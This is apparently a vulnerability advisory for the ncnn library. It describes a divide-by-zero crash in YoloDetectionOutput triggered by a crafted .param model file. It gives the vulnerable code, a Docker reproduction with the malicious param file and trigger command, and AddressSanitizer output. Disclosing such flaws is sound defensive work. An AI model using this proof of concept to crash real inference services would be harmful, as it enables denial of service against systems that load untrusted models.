Divide-By-Zero DoS in YoloDetectionOutput

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/yolodetectionoutput.cpp:178 in YoloDetectionOutput::forward_inplace
Sanitizer verdict: FPE on unknown address 0x56757e011be8 (pc 0x56757e011be8 bp 0x7ffe1fcb4330 sp 0x7ffe1fcb3830 T0)

Summary

Setting 1=0 on a YoloDetectionOutput layer makes its forward pass divide the input channel count by zero, terminating the process with SIGFPE. num_box is read straight from the attacker-supplied .param file with no validation, and the sanity check that would have caught the bogus geometry runs one line after the division. The PoC uses ncnnoptimize poc.param null out.param out.bin 0, whose shape_inference() step executes the layer; an inference server running an untrusted model hits the same path.

Detail

YoloDetectionOutput::load_param stores parameter id 1 into num_box with a default of 5 and returns without bounding it. forward_inplace uses that value as a divisor to derive the per-box channel stride, and only then validates the result against the expected 4 + 1 + num_class layout — by which point the trap has already fired.

// src/layer/yolodetectionoutput.cpp:19
    num_box = pd.get(1, 5);

// src/layer/yolodetectionoutput.cpp:174
        int w = bottom_top_blob.w;
        int h = bottom_top_blob.h;
        int channels = bottom_top_blob.c;

        const int channels_per_box = channels / num_box;

        // anchor coord + box score + num_class
        if (channels_per_box != 4 + 1 + num_class)
            return -1;

The PoC graph is Input data 0 1 data 0=1 1=1 2=6 feeding YoloDetectionOutput yolo 1 1 data out 0=1 1=0, so the blob reaching the layer has channels == 6 and num_box == 0. Line 178 evaluates 6 / 0, an integer division by zero, and the process aborts with SIGFPE.

The reachable path in the PoC is ncnnoptimize's ModelWriter::shape_inference() (tools/modelwriter.h:435), which runs a real forward pass over the graph via Extractor::extract to learn blob shapes. The same code is what executes at inference time, so the crash is not specific to the optimizer tool.

Reproduce

mkdir -p ncnn-poc-divide-by-zero-dos-in-yolodetectionoutput && cd ncnn-poc-divide-by-zero-dos-in-yolodetectionoutput

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=6
YoloDetectionOutput yolo 1 1 data out 1=0
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5742b7f62be8 (pc 0x5742b7f62be8 bp 0x7ffcaed6fa20 sp 0x7ffcaed6ef20 T0)
    #0 0x5742b7f62be8 in ncnn::YoloDetectionOutput::forward_inplace(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/yolodetectionoutput.cpp:178
    #1 0x5742b26f3996 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:841
    #2 0x5742b26dcb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x5742b273c9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x5742b25ce3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x5742b264beee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7de455e2c1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7de455e2c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5742b25cb624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/yolodetectionoutput.cpp:178 in ncnn::YoloDetectionOutput::forward_inplace(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst